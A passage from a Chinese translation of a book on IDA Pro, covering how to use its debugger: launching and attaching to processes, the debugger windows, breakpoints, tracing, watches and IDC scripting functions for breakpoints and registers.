图 24-3. 打开数据库时的调试器菜单

如果您没有看到这个菜单(或者一个非常相似的菜单),那么您可能还没有指定用于当前打开文件类型的调试器。在这种情况下,选择“调试器 ▸ 选择调试器”将根据当前文件类型显示一个合适的调试器列表。图 24-4 显示了典型的调试器选择对话框。

![调试器选择对话框](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854365.png.jpg)

图 24-4. 调试器选择对话框

你可以通过勾选对话框底部的复选框来将你的选择设置为当前文件类型的默认调试器。当前的默认调试器(如果有),会在复选框上方注明。一旦你选择了调试器,你可以在任何时间通过“调试”▸“切换调试器”菜单来更改调试器。

当选择“调试器”▸“附加到进程”时,IDA 的行为将根据在活动数据库中打开的文件类型而有所不同。如果文件是可执行文件,IDA 将显示与数据库中打开的文件同名的所有进程列表。如果 IDA 找不到具有匹配名称的进程,它将显示所有正在运行的进程列表,并留给你选择要附加的正确进程。在任何情况下,你可以附加到显示的任何进程,但 IDA 无法保证该进程是以与打开的 IDA 数据库中加载的相同二进制映像启动的。

当当前打开的数据库是一个共享库时,IDA 的行为会有所不同。在 Windows 系统上,IDA 会过滤显示的进程列表,只显示那些加载了相应*.dll*文件的进程。例如,如果你目前在 IDA 中分析*wininet.dll*,那么当你选择“调试器”▸“附加到进程”时,你将只会看到那些当前已加载*wininet.dll*的进程。在 Linux 和 OS X 系统上,IDA 没有这种过滤能力,会显示你可以附加权限的每一个进程。

作为附加到现有进程的替代方案,你可以选择在调试器控制下启动一个新的进程。在没有打开数据库的情况下,可以通过“调试器”▸“运行”来启动一个新的进程。当打开数据库时,可以通过“调试器”▸“启动进程”或“调试器”▸“运行到光标”来启动一个新的进程。使用前者会导致新进程执行,直到它遇到断点(你需要在选择“调试器”▸“启动进程”之前设置)或直到你选择使用“调试器”▸“暂停进程”来暂停进程。使用“调试器”▸“运行到光标”会自动在启动新进程之前在当前光标位置设置断点。在这种情况下,新进程将执行,直到当前光标位置被达到或直到遇到更早的断点。如果执行永远不会达到当前光标位置(或任何其他断点),进程将继续运行,直到被强制暂停或终止(“调试器”▸“终止进程”)。

在调试器控制下启动进程(而不是附加到现有进程),是唯一一种监控进程所采取的每一个动作的方法。在进程启动前设置断点,可以让你密切监控进程的整个启动序列。控制启动序列对于被混淆的程序尤为重要,因为你在反混淆例程完成后,进程开始正常操作之前,通常会希望立即暂停进程。

从打开的 IDA 数据库启动进程的另一个优点是,IDA 在启动进程之前会对进程映像进行初始的自动分析。这导致与将调试器附加到现有进程时获得的反汇编质量显著提高。

IDA 的调试器能够进行本地和远程调试。对于本地调试,你只能调试将在你的平台上运行的二进制文件。IDA 的本地调试器没有仿真层,无法执行来自其他平台或 CPU 类型的二进制文件。对于远程调试,IDA 随带了一些调试服务器,包括 Windows 32/64、Windows CE/ARM、Mac OS X 32/64、Linux 32/64/ARM 和 Android 的实现。调试服务器旨在与你要调试的二进制文件一起执行。一旦你启动了远程调试服务器,IDA 就可以与服务器通信,在远程机器上启动或附加到目标进程。对于 Windows CE ARM 设备,IDA 通过 ActiveSync 与远程设备通信,并在远程安装调试服务器。IDA 还能够与 GNU 调试器(gdb)的 `gdbserver` 组件(^[216)或与链接了合适的 gdb 远程桩的程序通信(^[218)。最后,对于 Symbian 设备的远程调试,你必须安装和配置 Metrowerk 的 App TRK(^[219),以便 IDA 能够通过串行端口与设备通信。在任何情况下,IDA 只能作为 x86、x64、MIPS、ARM 和 PPC 处理器上运行的调试器前端。远程调试在第二十六章中讨论。

与任何其他调试器一样,如果你打算使用 IDA 的调试器来启动新进程,原始的可执行文件必须存在于调试主机上,并且原始的二进制文件将以运行 IDA 的用户的完整权限执行。换句话说,仅仅加载了你希望调试的二进制文件的 IDA 数据库是不够的。如果你打算使用 IDA 调试器进行恶意软件分析,这一点非常重要。如果你未能正确控制恶意软件样本,你很容易感染调试目标机器。IDA 会在你选择“调试器”▸“启动进程”(或“调试器”▸“使用打开的数据库附加到进程”)时尝试提醒你这种可能性,它会显示一个调试器警告消息,内容如下:

> 你将启动调试器。调试程序意味着其代码将在你的系统上执行。
> 
> 小心恶意程序、病毒和木马!
> 
> 备注:如果你选择“否”,调试器将被自动禁用。
> 
> 你确定要继续吗?

在此警告下选择“否”会导致调试器菜单从 IDA 菜单栏中移除。只有当你关闭活动数据库时,调试器菜单才会被恢复。

强烈建议你在沙盒环境中进行任何恶意软件的调试。相比之下,第二十一章中讨论的 x86 模拟器插件既不需要原始的二进制文件存在,也不会在执行模拟的机器上执行二进制文件的任何指令。

* * *

^([216]) 请参阅 [`www.sourceware.org/gdb/current/onlinedocs/gdb/Server.html#Server`](http://www.sourceware.org/gdb/current/onlinedocs/gdb/Server.html#Server)。

^([217]) 请参阅 [`www.gnu.org/software/gdb/`](http://www.gnu.org/software/gdb/)。

^([218]) 请参阅 [`www.sourceware.org/gdb/current/onlinedocs/gdb/Remote-Stub.html#Remote-Stub`](http://www.sourceware.org/gdb/current/onlinedocs/gdb/Remote-Stub.html#Remote-Stub)。

^([219]) 请参阅 [`www.tools.ext.nokia.com/agents/index.htm`](http://www.tools.ext.nokia.com/agents/index.htm)。

# 基本调试器显示

无论你如何启动调试器,一旦你的目标进程在调试器控制下暂停,IDA 就会进入调试模式(与正常反汇编模式相反),你将看到几个默认的显示。默认的调试器显示在图 24-5 中。

![IDA 调试器显示](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854367.png.jpg)

图 24-5. IDA 调试器显示

如果你习惯于使用其他 Windows 调试器,如 OllyDbg^([220])或 Immunity Debugger^([221]),你第一个可能的想法可能是屏幕上显示的信息不多。这主要是由于 IDA 默认的字体大小实际上是可读的。如果你发现自己怀念其他调试器中使用的微字体,你可以通过选项 ▸ 字体菜单轻松更改这些设置。如果你对调试器窗口的特定布局情有独钟,你也可以使用保存的 IDA 桌面(Windows ▸ 保存桌面)。

如图 24-5 所示,调试器工具栏![httpatomoreillycomsourcenostarchimages854061.png](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png)取代了反汇编工具栏。其中包含了许多标准(从调试的角度来看)的工具,包括进程控制工具和断点操作工具。

IDA View-EIP ![IDA View-EIP](http://atomoreilly.com/source/nostarch/images/854063.png) 反汇编窗口是调试器激活时的默认反汇编列表窗口。它还恰好与指令指针寄存器的当前值同步。如果 IDA 检测到一个寄存器指向反汇编窗口内的内存位置,则在该寄存器的名称显示在左侧边缘,与寄存器指向的地址相对。在 图 24-5 中,EIP 指向的位置在 IDA View-EIP 中被标记出来(注意,在本例中 EDX 也指向相同的位置)。默认情况下,IDA 用红色突出显示断点,用蓝色突出显示将要执行的下一个指令(指令指针指向的指令)。与调试器相关的反汇编是通过与标准反汇编模式中使用的相同反汇编过程生成的。因此,IDA 的调试器可能提供了在调试器中可以找到的最好的反汇编功能。此外,如果您从打开的 IDA 数据库启动调试器,IDA 能够根据启动调试器之前进行的分析来描述所有可执行内容。由于 IDA 在启动调试器之前没有机会分析相关的 *.dll* 文件,因此 IDA 能够反汇编进程加载的任何库代码的能力将受到一定程度的限制。

Stack View ![Stack View](http://atomoreilly.com/source/nostarch/images/854093.png) 窗口是另一种标准反汇编视图,主要用于显示进程运行时栈的数据内容。所有指向栈位置的寄存器在通用寄存器 ![通用寄存器](http://atomoreilly.com/source/nostarch/images/854095.png) 视图中都会被标记出来(例如,在本例中为 EBP)。通过使用注释,IDA 尽力为栈上的每个数据项提供上下文信息。当栈项是一个内存地址时,IDA 会尝试将该地址解析为函数位置(这有助于突出显示函数被调用的位置)。当栈项是一个数据指针时,会显示关联数据项的引用。其他默认显示包括十六进制视图 ![十六进制视图](http://atomoreilly.com/source/nostarch/images/854099.png),它提供标准的内存十六进制转储,模块 ![模块](http://atomoreilly.com/source/nostarch/images/854101.png) 视图,显示当前进程图像中加载的模块列表,以及线程 ![线程](http://atomoreilly.com/source/nostarch/images/854103.png) 视图,显示当前进程中的线程列表。双击任何列出的线程会导致 IDA View-EIP 反汇编窗口跳转到所选线程中的当前指令,并更新通用寄存器视图以反映所选线程中寄存器的当前值。

“通用寄存器”窗口(如图 24-6 所示)显示 CPU 通用寄存器的当前内容。可以从调试器菜单打开显示 CPU 段、浮点或 MMX 寄存器内容的额外窗口。

![通用寄存器显示](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854370.png.jpg)

图 24-6. 通用寄存器显示

在“通用寄存器”窗口中,寄存器内容显示在相关寄存器名称的右侧,随后是每个寄存器内容的描述。CPU 标志位显示在最右侧的列中。右键单击寄存器值或标志位可以访问“修改”菜单项,允许您更改任何寄存器或 CPU 标志的内容。菜单选项提供快速访问将值置零、切换值、增加值或减少值的功能。切换值对于更改 CPU 标志位特别有用。右键单击任何寄存器值还可以提供访问“打开寄存器窗口”菜单项。选择“打开寄存器窗口”会导致 IDA 在所选寄存器所持有的内存位置打开一个新的反汇编窗口。如果您意外关闭了 IDA View-EIP 或 IDA View-ESP,请使用适当寄存器上的“打开寄存器窗口”命令重新打开丢失的窗口。如果寄存器看起来指向一个有效的内存位置,那么该寄存器值右侧的直角箭头控制将处于活动状态,并以黑色突出显示。单击活动箭头将打开一个以相应内存位置为中心的新反汇编视图。

“模块”窗口显示所有加载到进程内存空间中的可执行文件和共享库的列表。双击列表中的任何模块将打开该模块导出的符号列表。图 24-7 显示了*kernel32.dll*的内容示例。符号列表提供了一个轻松追踪加载库中函数的方法,如果您想在那些函数的入口处设置断点。

![模块窗口及其相关模块内容](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854373.png)

图 24-7. 模块窗口及其相关模块内容

可以通过使用各种调试器菜单选择来访问额外的调试器显示。有关调试器操作的显示将在下一节“进程控制”中讨论。除了调试器特定的显示外,所有传统的 IDA 子视图,如函数和段,都可以通过“视图”▸“打开子视图”命令访问。

* * *

^([220]) 查看 [`www.ollydbg.de/`](http://www.ollydbg.de/).

^([221]) 查看 [`www.immunityinc.com/products-immdbg.shtml`](http://www.immunityinc.com/products-immdbg.shtml)。

# 进程控制

任何调试器最重要的特性可能是能够紧密控制——如果需要的话,还可以修改——正在调试的进程的行为。为此,大多数调试器提供了一些命令,允许在将控制权返回给调试器之前执行一个或多个指令。这些命令通常与断点一起使用,允许用户指定在到达指定的指令或满足特定条件时中断执行。

在调试器控制下基本执行进程是通过使用各种单步、继续和运行命令来完成的。由于它们使用频率很高,因此熟悉与这些命令相关的工具栏按钮和快捷键序列是有帮助的。图 24-8 显示了与进程执行相关的工具栏按钮。

![调试器进程控制工具](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854376.png.jpg)

图 24-8. 调试器进程控制工具

下面的列表描述了这些命令的行为:

| **继续** 继续执行暂停的进程。执行将继续,直到遇到断点、用户暂停或终止执行,或者进程自行终止。 |
| --- |
| **暂停** 暂停正在运行的过程。 |
| **终止** 终止正在运行的过程。 |
| **进入** 仅执行下一个指令。如果下一个指令是函数调用,则在目标函数的第一个指令处中断。因此得名“进入”,因为执行会进入被调用的任何函数。 |
| **单步执行** 仅执行下一个指令。如果下一个指令是函数调用,则将调用视为单个指令,在函数返回时中断。因此得名“单步执行”,因为执行是跨过函数而不是像进入那样通过函数。如果在函数调用之前遇到断点,则执行可能会在函数调用完成之前中断。当函数的行为已知且不感兴趣时,单步执行非常有用,可以节省时间。 |
| **运行到返回** 继续执行当前函数,直到该函数返回(或遇到断点)才停止。当您已经看到了足够多的函数内容,希望从中退出,或者不慎进入了一个本想跳过的函数时,此操作非常有用。 |
| **运行到光标处**会在执行达到当前光标位置(或遇到断点)时停止进程的执行。此功能在无需在每个希望暂停的位置设置永久断点的情况下运行大块代码时非常有用。请注意,如果光标位置被绕过或根本无法到达,程序可能不会暂停。 |

除了工具栏和快捷键访问外,所有执行控制命令都可以通过调试器菜单访问。无论进程在单步执行后或遇到断点后是否暂停,每次进程暂停时,所有与调试器相关的显示都会更新,以反映进程暂停时的状态(CPU 寄存器、标志、内存内容)。

## 断点

*断点*是调试器与进程执行和中断(暂停)紧密相关的功能。断点被设置为在程序中非常具体的地点中断程序执行。从某种意义上说,断点是对“运行到光标处”概念的更永久扩展,一旦在给定地址设置断点,执行到达该位置时,无论光标是否保持在那个位置,都会中断执行。然而,虽然只有一个执行可以运行的光标,但可以在程序的所有地方设置许多断点,到达任何一个都会中断程序的执行。在 IDA 中设置断点是通过导航到希望执行暂停的位置并使用 F2 快捷键(或右键单击并选择添加断点)来实现的。设置断点的地址会用红色(默认情况下)的带状区域突出显示在整个反汇编行上。可以通过按两次 F2 来切换断点,以关闭断点。可以通过“调试器”▸“断点”▸“断点列表”查看程序中当前设置的断点的完整列表。

默认情况下,IDA 使用*软件断点*,这是通过将断点地址处的操作码字节替换为软件断点指令来实现的。对于 x86 二进制文件,这是`int 3`指令,它使用操作码值`0xCC`。在正常情况下,当执行软件断点指令时,操作系统会将控制权传递给任何可能正在监控中断进程的调试器。如第二十一章中所述,混淆代码可能会利用软件断点的行为,试图阻碍任何附加调试器的正常操作。

作为软件断点的替代,一些 CPU(例如 x86,实际上是 386 及其后续版本)提供了对*硬件辅助断点*的支持。硬件断点通常通过使用专用 CPU 寄存器来配置。对于 x86 CPU,这些寄存器被称为 DR0–7(调试寄存器 0 到 7)。可以使用 x86 寄存器 DR0–3 指定最多四个硬件断点。剩余的 x86 调试寄存器用于为每个断点指定额外的约束。当硬件断点启用时,不需要在调试的程序中替换特殊指令。相反,CPU 本身会根据调试寄存器中的值决定是否中断执行。

一旦设置了断点,就可以修改其行为的各个方面。除了简单地中断进程之外,调试器通常还支持*条件断点*的概念,允许用户指定在断点实际被认可之前必须满足的条件。当达到这样的断点并且关联的条件未满足时,调试器会自动恢复程序的执行。一般想法是,预期条件将在未来的某个时刻得到满足,只有在感兴趣的条件下得到满足时,程序才会被中断。

IDA 调试器支持条件断点和硬件断点。为了修改断点的默认(无条件、基于软件)行为,你必须在设置断点之后编辑它。为了访问断点编辑对话框,你必须右键单击现有的断点并选择编辑断点。图 24-9 显示了结果断点设置对话框。

![断点设置对话框](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854379.png.jpg)

图 24-9. 断点设置对话框

位置框指示正在编辑的断点地址,而启用复选框指示断点当前是否处于活动状态。一个被禁用的断点无论与断点关联的条件如何,都不会被认可。硬件复选框用于请求将断点在硬件而不是软件中实现。

### 警告

关于硬件断点的注意事项:尽管 x86 架构在任何给定时间只支持四个硬件断点,但截至本文撰写时(IDA 版本 6.1),IDA 仍然会愉快地允许你指定超过四个硬件断点。然而,只有其中四个会被认可。任何额外的硬件断点都将被忽略。

当指定硬件断点时,您必须使用硬件断点模式单选按钮来指定断点行为是在执行时中断、在写入时中断,还是在读取/写入时中断。后两种类别(在写入时中断和在读取/写入时中断)允许您创建在访问特定内存位置(通常是数据位置)时触发的断点,无论访问发生时正在执行什么指令。如果您更关注程序访问数据的时间,而不是数据访问的来源,这非常有用。

除了为您的硬件断点指定模式外,您还必须指定大小。对于执行断点,大小必须是 1 字节。对于写入或读取/写入断点,大小可以设置为 1、2 或 4 字节。当大小设置为 2 字节时,断点的地址必须是字对齐的(2 字节的倍数)。同样,对于 4 字节断点,断点地址必须是双字对齐的(4 字节的倍数)。硬件断点的大小与其地址结合,形成一个字节范围,在此范围内断点可能被触发。以下是一个示例来帮助解释。考虑在地址`0804C834h`设置的 4 字节写入断点。这个断点将由对`0804C837h`的 1 字节写入、对`0804C836h`的 2 字节写入和对`0804C832h`的 4 字节写入触发,以及其他情况。在这些情况下,`0804C834h`到`0804C837h`范围内的至少 1 个字节被写入。有关 x86 硬件断点行为的更多信息,请参阅*英特尔 64 和 IA-32 架构软件开发者手册,第 3B 卷:系统编程指南,第二部分*。^[[222])

通过在断点设置对话框的条件字段中提供表达式来创建条件断点。条件断点是调试器的功能,而不是指令集或 CPU 功能。当断点被触发时,调试器的任务是评估任何相关的条件表达式,并确定程序是否应该暂停(条件满足)或者执行应该简单地继续(条件不满足)。因此,可以为软件断点和硬件断点指定条件。

IDA 断点条件使用 IDC(而不是 Python)表达式指定。计算结果非零的表达式被认为是真的,满足断点条件并触发断点。计算结果为零的表达式被认为是假的,未能满足断点条件,并且不会触发相关的断点。为了帮助创建断点表达式,IDA 在 IDC(再次,不是 Python)中提供了特殊的寄存器变量,以便在断点表达式中直接访问寄存器内容。这些变量以寄存器本身命名,包括`EAX`、`EBX`、`ECX`、`EDX`、`ESI`、`EDI`、`EBP`、`ESP`、`EFL`、`AX`、`BX`、`CX`、`DX`、`SI`、`DI`、`BP`、`SP`、`AL`、`AH`、`BL`、`BH`、`CL`、`CH`、`DL`和`DH`。这些寄存器变量仅在调试器活动时才可访问。

很遗憾,没有变量可以直接访问处理器标志位。为了访问单个 CPU 标志,你需要调用`GetRegValue`函数来获取所需标志位的值,例如`CF`。如果你需要有关有效寄存器和标志名称的提醒,请参考“常规寄存器”窗口的左侧和右侧的标签。这里显示了几个示例断点表达式:

EAX == 100 // break if eax holds the value 100
ESI > EDI // break if esi is greater than edi
Dword(EBP-20) == 10 // Read current stack frame (var_20) and compare to 10
GetRegValue("ZF") // break if zero flag is set
EAX = 1 // Set EAX to 1, this also evaluates to true (non-zero)
EIP = 0x0804186C // Change EIP, perhaps to bypass code


关于断点表达式需要注意的两点是:IDC 函数可以被调用以访问进程信息(只要函数返回一个值),以及赋值可以用作在进程执行过程中特定位置修改寄存器值的一种手段。Ilfak 本身就演示了这种技术,作为覆盖函数返回值的例子。^([[223)]

在“断点设置”对话框中可以配置的最后断点选项被分组到对话框右侧的“操作”框中。断点复选框指定当达到断点时程序执行是否实际上应该暂停(假设任何相关条件为真)。创建一个不会中断的断点可能看起来有些不寻常,但如果你只想在每次到达指令时修改特定的内存或寄存器值而不需要同时暂停程序,这实际上是一个有用的功能。选择“跟踪”复选框会在每次断点被触发时记录一个跟踪事件。

## 跟踪

跟踪提供了一种记录在进程执行期间发生的特定事件的方法。跟踪事件记录到固定大小的跟踪缓冲区,并且可以选择记录到跟踪文件。有两种跟踪风格:指令跟踪和函数跟踪。当启用*指令跟踪*(调试器 ▸ 跟踪 ▸ 指令跟踪)时,IDA 记录由指令更改的地址、指令以及任何寄存器(除了 EIP)的值(其他寄存器)。指令跟踪可能会显著减慢调试过程,因为调试器必须单步执行进程以监控和记录所有寄存器的值。"函数跟踪"(调试器 ▸ 跟踪 ▸ 函数跟踪)是指令跟踪的一个子集,其中仅记录函数调用(以及可选的返回)。函数跟踪事件不记录任何寄存器值。

三种个人跟踪事件类型也可用:写入跟踪、读写跟踪和执行跟踪。正如其名称所暗示的,每个都允许在指定地址发生特定操作时记录跟踪事件。这些个人跟踪均使用非破坏性断点,并将`trace`选项设置为。写入和读写跟踪使用硬件断点实现,因此受到之前提到的硬件断点相同限制的影响,其中最重要的是在任何给定时间点不能超过四个硬件辅助断点或跟踪。默认情况下,执行跟踪使用软件断点实现,因此程序内可以设置的执行跟踪数量没有限制。

图 24-10 显示了用于配置调试器跟踪操作的跟踪选项(调试器 ▸ 跟踪 ▸ 跟踪选项)对话框。

在此处指定的选项仅适用于函数和指令跟踪。这些选项对单个跟踪事件没有影响。跟踪缓冲区大小选项指定了任何给定时间可以显示的最大跟踪事件数。对于给定的缓冲区大小*n*,仅显示最近的*n*个跟踪事件。命名日志文件会导致所有跟踪事件附加到该命名文件。指定日志文件时不会提供文件对话框,因此您必须自己指定日志文件的完整路径。可以输入 IDC 表达式作为停止条件。该条件在通过每个指令进行跟踪之前进行评估。如果条件评估为真,则立即暂停执行。此表达式的效果是作为一个条件断点,它不依赖于任何特定位置。

![跟踪选项对话框](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854383.png.jpg)

图 24-10. 跟踪选项对话框

当勾选“标记具有相同 IP 的连续跟踪事件”选项时,来自同一指令的连续跟踪事件会被标记为等号。当在`x86`程序中使用`REP`^([224])前缀时,可能会出现连续事件来自同一指令地址的例子。为了使指令跟踪显示每个重复的指令地址,必须也选择“如果 IP 相同则记录”选项。如果没有选择此选项,带有`REP`前缀的指令每次遇到时只列一次。以下列表显示了使用默认跟踪设置的部分指令跟踪:

Thread Address Instruction Result


00000150
.text:sub_401320+17 rep movsb ECX=00000000 ESI=0022FE2C EDI=0022FCF4
00000150 .text:sub_401320+19 pop esi ESI=00000000 ESP=0022FCE4


注意,`movsb`指令![httpatomoreillycomsourcenostarchimages854061.png]只列了一次。

在以下列表中,已选择“如果 IP 相同则记录”,导致`rep`循环的每次迭代都被记录:

Thread Address Instruction Result


000012AC .text:sub_401320+17 rep movsb ECX=0000000B
ESI=0022FE21 EDI=0022FCE9 EFL=00010206 RF=1
000012AC .text:sub_401320+17 rep movsb ECX=0000000A ESI=0022FE22 EDI=0022FCEA
000012AC .text:sub_401320+17 rep movsb ECX=00000009 ESI=0022FE23 EDI=0022FCEB
000012AC .text:sub_401320+17 rep movsb ECX=00000008 ESI=0022FE24 EDI=0022FCEC
000012AC .text:sub_401320+17 rep movsb ECX=00000007 ESI=0022FE25 EDI=0022FCED
000012AC .text:sub_401320+17 rep movsb ECX=00000006 ESI=0022FE26 EDI=0022FCEE
000012AC .text:sub_401320+17 rep movsb ECX=00000005 ESI=0022FE27 EDI=0022FCEF
000012AC .text:sub_401320+17 rep movsb ECX=00000004 ESI=0022FE28 EDI=0022FCF0
000012AC .text:sub_401320+17 rep movsb ECX=00000003 ESI=0022FE29 EDI=0022FCF1
000012AC .text:sub_401320+17 rep movsb ECX=00000002 ESI=0022FE2A EDI=0022FCF2
000012AC .text:sub_401320+17 rep movsb ECX=00000001 ESI=0022FE2B EDI=0022FCF3
000012AC .text:sub_401320+17 rep movsb ECX=00000000
ESI=0022FE2C EDI=0022FCF4 EFL=00000206 RF=0
000012AC .text:sub_401320+19 pop esi ESI=00000000 ESP=0022FCE4


最后,在以下列表中,已启用“标记具有相同 IP 的连续跟踪事件”选项,导致特殊的标记突出显示指令指针在连续的指令之间没有改变:

Thread Address Instruction Result


000017AC .text:sub_401320+17 rep movsb ECX=0000000B ESI=0022F
E21 EDI=0022FCE9 EFL=00010206 RF=1
= = = ECX=0000000A ESI=0022FE22 EDI=0022FCEA
= = = ECX=00000009 ESI=0022FE23 EDI=0022FCEB
= = = ECX=00000008 ESI=0022FE24 EDI=0022FCEC
= = = ECX=00000007 ESI=0022FE25 EDI=0022FCED
= = = ECX=00000006 ESI=0022FE26 EDI=0022FCEE
= = = ECX=00000005 ESI=0022FE27 EDI=0022FCEF
= = = ECX=00000004 ESI=0022FE28 EDI=0022FCF0
= = = ECX=00000003 ESI=0022FE29 EDI=0022FCF1
= = = ECX=00000002 ESI=0022FE2A EDI=0022FCF2
= = = ECX=00000001 ESI=0022FE2B EDI=0022FCF3
= = = ECX=00000000 ESI=0022FE2C
EDI=0022FCF4 EFL=00000206 RF=0
000017AC .text:sub_401320+19 pop esi ESI=00000000 ESP=0022FCE4


我们将要提到的关于跟踪的最后两个选项是“在调试器段上跟踪”和“在库函数上跟踪”。当选择“在调试器段上跟踪”时,只要执行流程转到 IDA 最初加载的任何文件段之外的程序段,指令和函数调用跟踪就会被临时禁用。最常见的例子是调用共享库函数。选择“在库函数上跟踪”会临时禁用在 IDA 被识别为库函数的函数(可能通过 FLIRT 签名匹配)中的函数和指令跟踪。链接到二进制文件中的库函数不应与通过共享库文件(如 DLL)访问的库函数混淆。这两个选项默认都是启用的,这有助于在跟踪时提高性能(因为调试器不需要进入库代码),同时显著减少生成的跟踪事件数量,因为指令通过库代码的跟踪可以迅速填满跟踪缓冲区。

## 堆栈跟踪

*堆栈跟踪*是当前调用栈的显示,或者说是为了执行到达二进制文件中的特定位置而执行的函数调用序列。图 24-11 显示了使用“调试器”>“堆栈跟踪”命令生成的示例堆栈跟踪。

![一个示例堆栈跟踪](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854386.png)

图 24-11. 一个示例堆栈跟踪

栈跟踪的最上面一行列出了当前正在执行的函数的名称。第二行指示调用了当前函数的函数及其调用地址。后续的行指示每个函数被调用的点。调试器能够通过遍历栈并解析它遇到的每个栈帧来创建栈跟踪显示,它通常依赖于帧指针寄存器(x86 中的 EBP)的内容来定位每个栈帧的基址。当找到栈帧时,调试器可以提取指向下一个栈帧(保存的帧指针)以及保存的返回地址的指针,这些返回地址用于定位用于调用当前函数的调用指令。IDA 的调试器不能跟踪不使用 EBP 作为帧指针的栈帧。在函数(而不是单个指令)级别上,栈跟踪对于回答“我是如何到达这里的?”或更准确地说,“什么函数调用序列导致了这个特定的位置?”这样的问题是有用的。

## 手表

在调试一个进程时,你可能希望持续监控一个或多个变量中的值。而不是要求你在每次进程暂停时都导航到所需的内存位置,许多调试器允许你指定应显示其值的内存位置列表。这样的列表被称为*监视列表*,因为它们允许你在程序执行期间监视指定内存位置的内容变化。监视列表仅仅是一种导航便利;它们不会像断点一样导致执行暂停。

由于它们关注数据,监视点(被指定为要监视的地址)通常设置在二进制的栈、堆或数据部分。在 IDA 调试器中设置监视点是通过右键单击感兴趣的内存项并选择添加监视来完成的。确定确切要设置监视的地址可能需要一些思考。确定全局变量的地址比确定局部变量的地址要容易一些,因为全局变量在编译时被分配并分配了固定的地址。另一方面,局部变量在运行时才存在,即使如此,它们也只有在它们声明的函数被调用之后才存在。当调试器处于活动状态时,一旦你进入了一个函数,IDA 就能够报告该函数内局部变量的地址。图 24-12 显示了将鼠标悬停在名为`arg_0`的局部变量(实际上是一个传递给函数的参数)上的结果。

![调试器解析局部变量地址](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854389.png)

图 24-12. 调试器解析局部变量地址

双击活动函数内的局部变量会导致 IDA 将主 IDA 视图窗口跳转到该局部变量的地址。到达变量的地址后,您可以使用“添加监视”的上下文菜单选项在该地址上添加监视,尽管您需要手动将该地址输入到监视地址对话框中。如果您花时间命名内存位置,当您将相同的菜单选项应用于名称而不是地址时,IDA 将自动添加监视。

您可以通过“调试器” ▸ “监视” ▸ “监视列表”访问当前所有有效的监视列表。您可以通过在监视列表中突出显示所需的监视并按 DELETE 键来删除单个监视。

* * *

^([222]) 请参阅 [`www.intel.com/products/processor/manuals/`](http://www.intel.com/products/processor/manuals/)。

^([223]) 请参阅 [`www.hexblog.com/2005/11/simple_trick_to_hide_ida_debug.html`](http://www.hexblog.com/2005/11/simple_trick_to_hide_ida_debug.html) 和 [`www.hexblog.com/2005/11/stealth_plugin_1.html`](http://www.hexblog.com/2005/11/stealth_plugin_1.html).

^([224]) `REP` 前缀是一个指令修饰符,它会导致某些 x86 字符串指令(如 `movs` 和 `scas`)根据 ECX 寄存器中的计数重复执行。

# 自动化调试任务

在 第十五章 到 第十九章 中,我们介绍了 IDA 脚本和 IDA SDK 的基础知识,并在二进制文件的静态分析中展示了这些功能的有用性。在调试器中启动进程并在更动态的调试环境中工作并不会使脚本和插件变得不那么有用。脚本和插件提供的自动化功能的一些有趣用途包括分析调试过程中可用的运行时数据、实现复杂的断点条件以及实施绕过反调试技术的措施。

## 脚本化调试操作

在使用 IDA 调试器时,第十五章 中讨论的所有 IDA 脚本功能仍然可以访问。可以从文件菜单启动脚本,将其与热键关联,并从 IDA 脚本命令行调用。此外,用户创建的 IDC 函数可以从断点条件和跟踪终止表达式中引用。

基本脚本函数提供了设置、修改和枚举断点的功能,以及读取和写入寄存器和内存值的能力。内存访问由 `DbgByte`、`PatchDbgByte`、`DbgWord`、`PatchDbgWord`、`DbgDword` 和 `PatchDbgDword` 函数提供(类似于第十五章中描述的 `Byte`、`Word`、`Dword` 和 `Patch`*`XXX`* 函数)。通过以下函数可以实现寄存器和断点的操作(请参阅 IDA 帮助文件以获取完整列表)。

**`long GetRegValue(string reg)`**

返回之前讨论过的指定寄存器(如 EAX)的值。在 IDC 中,也可以通过在 IDC 表达式中使用所需的寄存器名称作为变量来轻松访问寄存器值。

**`bool SetRegValue(number val, string name)`**

设置指定名称的寄存器值,例如 EAX。如果你使用 IDC,也可以通过在赋值语句的左侧使用所需的寄存器名称直接修改寄存器值。

**`bool AddBpt(long addr)`**

在指定的地址添加软件断点。

**`bool AddBptEx(long addr, long size, long type)`**

在指定的地址添加指定大小和类型的断点。类型应该是 *idc.idc* 或 IDA 帮助文件中描述的 `BPT_`*`xxx`* 常量之一。

**`bool DelBpt(long addr)`**

删除指定地址处的断点。

**`long GetBptQty()`**

返回程序中设置的断点数量。

**`long GetBptEA(long bpt_num)`**

返回指示断点设置的地址。

**`long/string GetBptAttr(long addr, number attr)`**

返回与指定地址处的断点相关联的属性。返回值可能是一个数字或一个字符串,具体取决于请求的属性值。属性使用 *idc.idc* 或 IDA 帮助文件中描述的 `BPTATTR_`*`xxx`* 值之一指定。

**`bool SetBptAttr(long addr, number attr, long value)`**

将指定断点的指定属性设置为指定的值。不要使用此函数设置断点条件表达式(请使用 `SetBptCnd`)。

**`bool SetBptCnd(long addr, string cond)`**

将断点条件设置为提供的条件表达式,该表达式必须是一个有效的 IDC 表达式。

**`long CheckBpt(long addr)`**

获取指定地址的断点状态。返回值表示是否存在断点、断点是否禁用、断点是否启用或断点是否激活。一个激活的断点是在调试器也激活时启用的断点。

以下脚本演示了如何在当前光标位置安装自定义的 IDC 断点处理函数:

include <idc.idc>

/*

